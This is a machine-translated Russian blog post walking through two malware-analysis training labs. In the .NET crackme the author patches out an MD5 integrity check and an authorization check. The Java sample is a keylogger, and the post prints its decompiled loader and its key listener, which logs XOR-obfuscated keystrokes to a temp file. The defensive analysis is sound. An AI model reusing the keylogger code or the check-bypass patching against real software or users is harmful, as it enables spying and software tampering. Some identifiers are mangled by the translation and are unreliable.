Рубрики
Без рубрики

Анализ вредоносных программ с помощью .NET и Ява

Этот пост служит описанием практических упражнений, предлагаемых в программе Pluralsight по анализу вредоносных программ… Помечено как dotnet, java, безопасность, вредоносное ПО.

Этот пост служит описанием практических упражнений, предлагаемых в Pluralsight’s Анализ вредоносных программ для .Двоичные файлы NET и Java курс.

Курс охватывает инструменты и методы анализа вредоносного программного обеспечения, разработанного для .Платформы NET и JVM. Эти инструменты включают в себя

  • dnSpy – дизассемблер, декомпилятор и отладчик .NET. Эта утилита может принимать PE (Переносимые исполняемые файлы) в качестве входных данных и раскрывать базовый общий промежуточный язык, а также код более высокого уровня (C#, Visual Basic). dnS py также может функционировать как отладчик.
  • Средство просмотра байт-кода – пакет обратного инжиниринга (дизассемблер, декомпилятор, отладчик) для платформы JVM.

Первые шаги

Первое упражнение, включенное в этот курс, представляет собой не вредоносную программу, написанную для платформы .NET, которая содержит “флаг” – адрес электронной почты. Дизассемблировать и декомпилировать программное обеспечение в dnS py так же просто, как просто открыть Переносимый исполняемый файл ( .exe ) внутри программы.

При этом раскрывается структура сборки, визуально очень похожая на Visual Studio. Как мы видим, наша сборка состоит из трех проектов

  • PS_DotNet_Lab1
  • PS_DotNet_Lab1.App_Code
  • PS_DotNet_Lab1.Свойства

каждый из них содержит несколько классов. В первую очередь мы должны найти точку входа в программу. Я изучаю класс Program и нахожу функцию Main() .

namespace PS_DotNet_Lab1
{
    // Token: 0x02000004 RID: 4
    internal static class Program
    {
        // Token: 0x06000008 RID: 8 RVA: 0x0000251C File Offset: 0x0000071C
        [STAThread]
        private static void Main()
        {
            bool flag = Verification.App_Startup();
            if (flag)
            {
                Application.EnableVisualStyles();
                Application.SetCompatibleTextRenderingDefault(false);
                Application.Run(new Client());
            }
            else
            {
                MessageBox.Show("Try Again :)");
            }
        }
    }
}

Простой запуск программы показывает окно сообщения с сообщением “Попробуйте еще раз:)”, которое указывает, что переменная flag изначально false . Чтобы понять логику, лежащую в основе этого значения, необходимо изучить функцию App_Startup() (расположенную в классе Verification ).

namespace PS_DotNet_Lab1
{
    // Token: 0x02000002 RID: 2
    public static class Verification
    {
        // Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
        private static string create_md5(string filename)
        {
            string result;
            using (MD5 md = MD5.Create())
            {
                using (FileStream fileStream = File.OpenRead(filename))
                {
                    result = BitConverter.ToString(md.ComputeHash(fileStream)).Replace("-", "").ToLowerInvariant();
                }
            }
            return result;
        }

        // Token: 0x06000002 RID: 2 RVA: 0x000020C4 File Offset: 0x000002C4
        public static bool App_Startup()
        {
            bool result;
            try
            {
                Settings settings = new Settings();
                string check = settings.check1;
                string b = Verification.create_md5("PS_DotNet_Lab1.exe");
                bool flag = check != b;
                if (flag)
                {
                    result = false;
                }
                else
                {
                    result = true;
                }
            }
            catch
            {
                result = false;
            }
            return result;
        }
    }
}

Глядя на App_Startup() и create_md5() методы, у меня создается впечатление, что программа проверяет свою собственную целостность с помощью хэша MD5. Свойство Settings.check 1 имеет Значение параметра по умолчанию атрибут, установленный для определенного хэша MD5.

Теперь давайте начнем изменять код, чтобы попытаться обойти эти проверки. Щелчок правой кнопкой мыши в любом месте метода дает нам возможность отредактировать его. Я просто изменяю метод App_Startup() , чтобы он всегда возвращал true вместо результата переменная. После нажатия кнопки Сохраните все , я создаю новую версию нашего исполняемого файла с нашим измененным кодом, скомпилированным в нем. Запустив этот новый исполняемый файл, я подтверждаю, что проверки хэширования были обойдены. Щелчок по кнопке Кнопка Authenticate вводит счетчик попыток. Прежде чем у меня закончатся допустимые попытки (после которых программа больше никогда не запускается), я смотрю на класс Client , который содержит основные обратные вызовы приложения Windows Forms. Я специально обращаю внимание на метод button1_Click() .

// Token: 0x06000004 RID: 4 RVA: 0x000021A0 File Offset: 0x000003A0
        private void button1_Click(object sender, EventArgs e)
        {
            bool flag = !Authentication.isAuthorized();
            if (flag)
            {
                this.txtOutputLog.AppendText("Invalid Attempt - You have " + this.maxAttempts + " attempts left\n");
                bool flag2 = this.maxAttempts == 0U;
                if (flag2)
                {
                    RegistryKey registryKey = Registry.CurrentUser.CreateSubKey("PS_DotNet_Lab1");
                    registryKey.SetValue("Challenge1", "1");
                    registryKey.Close();
                    Application.Exit();
                }
                this.maxAttempts -= 1U;
            }
            else
            {
                this.txtOutputLog.Clear();
                this.lblMessage.Text = "You got it! " + Authentication.returnEmailAddress();
                RegistryKey registryKey2 = Registry.CurrentUser.OpenSubKey("PS_DotNet_Lab1");
                bool flag3 = registryKey2 != null;
                if (flag3)
                {
                    object value = registryKey2.GetValue("Challenge1");
                    bool flag4 = value != null;
                    if (flag4)
                    {
                        registryKey2.DeleteSubKey("Challenge1");
                    }
                    registryKey2.Close();
                }
            }
        }

Кажется, мы близки к нашей цели. Программное обеспечение, похоже, проверяет авторизацию с помощью метода isAuthorized() и, если это так, отображает “флаг” электронной почты. Я продолжаю, изменяя метод так, чтобы переменная flag всегда была false и не зависит от авторизации.

Это оно. Это показывает наш желаемый флаг.

Примечание: Одной из целей анализа вредоносных программ является поиск признаков компрометации (IOC) – подсказки, указывающие на то, что данная машина была заражена. Как показывает декомпилированный код, это программное обеспечение изменяет реестр Windows и создает подраздел PS_DotNet_Lab 1 . Наличие указанного ключа в редакторе реестра ( regedit.exe ) может функционировать как IOC.

Альтернативный способ

После моего первого изучения декомпилированного исходного кода я нашел метод, который фактически генерирует адрес электронной почты. Однако флаг не сохранялся просто в виде строки, использовалась техника антианализа , называемая запутыванием . Рассматриваемый метод находится в классе Authorization и вызывается return Email Address() . Вот выдержка из урока:

public static string returnEmailAddress()
        {
            string text = "";
            foreach (char c in Authentication.addy)
            {
                text += c.ToString();
            }
            return text;
        }

        // Token: 0x04000009 RID: 9
        private static byte[] addy = new byte[]
        {
            53,
            102,
            54,
            104,
            56,
            57,
            100,
            115,
            117,
            64,
            48,
            120,
            101,
            118,
            105,
            108,
            99,
            48,
            100,
            101,
            46,
            99,
            111,
            109,
            46,
            99,
            111,
            109
        };

Таким образом, другим вариантом получения вашего адреса электронной почты было бы скопировать этот код, запустить его в нашей собственной среде и получить результирующую строку. Тем не менее, я решил попробовать открыть полное приложение Windows Forms для дополнительного интереса.

Второе упражнение

Следующее практическое задание, предлагаемое в курсе, – это Java-приложение, которое не содержит никаких флагов. Образец, который необходимо проанализировать, поставляется в виде пакета .jar , который можно открыть изнутри Средство просмотра байт-кода .

Для того, чтобы проанализировать логику программы, нам нужно найти ее точку входа – функцию main() . Его можно найти в классе ResourceLoader , который также включает в себя множество, казалось бы, случайных строковых объектов, большинство из которых, по-видимому, не нужны (ненужный код – это еще один метод антианализа ).

public static void main(String[] args) throws ClassNotFoundException, IllegalArgumentException, IllegalAccessException, InvocationTargetException, SecurityException,
NoSuchMethodException, IOException {
      URL[] classLoaderUrls = new URL[]{new URL(g.c + g.cc + gg.m + dgressdf.xx + gg.mm + dgressdf.x)};
      ClassLoader jceClassLoader = new URLClassLoader(classLoaderUrls, (ClassLoader)null);
      Thread.currentThread().setContextClassLoader(jceClassLoader);
      Class c = jceClassLoader.loadClass("com.jrockit.drive.introspection2");
      Method main = c.getMethod("main", args.getClass());
      main.invoke((Object)null, args);
   }

Можно видеть, что этот метод служит просто для извлечения реального main() метода из introspection2.jar пакет. Я использовал программное обеспечение для архивирования, чтобы извлечь пакет и передать его в программу просмотра байт-кода.

Примечание: Другой внутренний .jar посылка присутствовала – jnativehook.jar . При взгляде на его классы кажется, что он принадлежит библиотеке JNativeHook , которую вредоносная программа использует для прослушивания нажатий клавиш.

Класс introspection 2 , по-видимому, содержит основную вредоносную логику, его точка входа main() метод содержит следующую строку

GlobalScreen.addNativeKeyListener(new introspection2());

Это побуждает нас обратить внимание на конструктор класса:

public introspection2() throws IOException {
    File file = new File(System.getProperty("java.io.tmpdir") + "JavaDeploy.log");
    if (!file.exists()) {
        file.createNewFile();
    }

    this.fw = new FileWriter(file.getAbsoluteFile(), true);
    this.bw = new BufferedWriter(this.fw);
}

Очевидно, что вредоносная ПРОГРАММА ищет временный каталог и создает файл с именем Развертывание Java.log внутри него. Это наш индикатор компрометации

Для того, чтобы работать с JNativeHook |/, класс реализует интерфейс NativeKeyListener . Более конкретно, я обращаю внимание на метод nativeKeyPressed() :

public void nativeKeyPressed(NativeKeyEvent e) {
  try {
     this.bw.write(e.getKeyCode() ^ 151);
     this.bw.flush();
  } catch (IOException var4) {
  }

  if (e.getKeyCode() == 1) {
     try {
        GlobalScreen.unregisterNativeHook();
     } catch (NativeHookException var3) {
        var3.printStackTrace();
     }
  }
}

Теперь мы можем видеть точный механизм, который использует эта конкретная вредоносная программа (более конкретно, keylogger ). Чтобы запутать свои выходные данные, он преобразует зарегистрированные символы в XOR с определенным номером (151).

Оригинал: “https://dev.to/n_babajanyan/malware-analysis-with-net-and-java-m51”